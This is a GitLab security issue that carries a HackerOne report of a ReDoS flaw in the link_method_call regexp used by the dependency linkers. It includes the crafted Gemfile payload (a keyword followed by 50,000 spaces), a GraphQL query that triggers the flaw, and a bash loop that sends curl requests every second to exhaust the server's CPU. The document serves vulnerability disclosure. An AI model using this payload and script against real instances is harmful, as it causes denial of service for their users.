Skip to content

ReDoS in dependency linker for multiple filetypes that use the shared `link_method_call` regexp

Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2370084 by joaxcar on 2024-02-10, assigned to @cmaxim:

Report | Attachments | How To Reproduce

Report

Summary

(note this is similar to https://hackerone.com/reports/2359528 but its two different regexps and are thus not related)

There are multiple DependencyLinker files that are responsible for generating links in dependency files. This usually happens during highligher when files are shown in plain view. A few of these linker files use the shared link_method_call function to generate the regexps to match links. This shared regexp generator is subject to catastrophic backtracking.

The regexp in link_method_call looks like this

def method_call_regex(method_name, value = nil)  
        method_name = regexp_for_value(method_name)  
        value = regexp_for_value(value)

        %r{  
          #{method_name}            # Method name  
          \s*                       # Whitespace  
          [(=]?                     # Opening brace or equals sign  
          \s*                       # Whitespace  
          ['"](?<name>#{value})['"] # Package name in quotes  
        }x  
      end  

When this is used for example in GemfileLinker its used like this

        link_method_call('source', URL_REGEX, &:itself)  

and the final generated regexp looks like this

    /source\s*[(=]?\s*['"](?<name>https?:\/\/[^'" ]+)['"]/  

To break this regexp use a pattern like this

'source' + ' '.repeat(50000) + '"http://u'  

inside of a file named Gemfile.

The attacker can make the GitLab instance unresponsive by sending 1 request a second to

https://gitlab.example.com/GROUP/PROJECT/-/blob/main/go.mod?ref_type=heads&format=json&viewer=simple

to put all CPUs at max capacity (tested on 1K reference architecture)

Steps to reproduce

Use a local hosted Gitlab server

  1. Log in to Gitlab
  2. Create a new project (or use an existing one), make it public (for ease of attack)
  3. Upload the file attached here (or create your own one named Gemfile)

Gemfile

  1. Go to https://gitlab/example.com/-/graphql-explorer and run this GraphQL query (replacing GROUPNAME/PROJECTNAME)
query {  
  project(fullPath: "GROUPNAME/PROJECTNAME") {  
    repository {  
      blobs(ref:"main", paths: ["Gemfile"]) {  
        nodes {  
           
          plainData  
        }  
      }  
    }  
  }  
}
  1. The query should take a long time (probably error out)
  2. To exhaust the server, run this script in a terminal (change the URL and Project)
###  !/bin/bash

###  URL to which the curl request will be made  
URL="https://gitlab.example.com"  
PROJECT="groupname/projectname"

###  Duration for the loop to run: 1 minutes (60 seconds)  
DURATION=60

###  Start time  
START_TIME=$(date +%s)

###  Loop until the duration is reached  
while [ $(($(date +%s) - START_TIME)) -lt $DURATION ]; do  
    # Make the curl request  
    curl "$URL/api/graphql" \  
  -H 'Content-Type: application/json' \  
--data-raw '{"query":"query{project(fullPath:\"'$PROJECT'\"){repository{blobs(ref:\"main\",paths:[\"Gemfile\"]){nodes{plainData}}}}}","variables":null}' &

    # Wait for 1 second  
    sleep 1  
done  
  1. SSH into the gitlab server and use top or htop to view the CPU usage

Screenshot_2024-02-10_at_08.43.18.png

Impact

DOS of gitlab instance and exhaustive resource consumption

What is the current bug behavior?

Usage of link_method_call can cause DOS they way its used in linker files

What is the expected correct behavior?

The link_method_call should be a safe regexp. Or there should be a limit on the amount of whitespace between the key and the value in the regexp

Impact

DOS of gitlab instance and exhaustive resource consumption

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: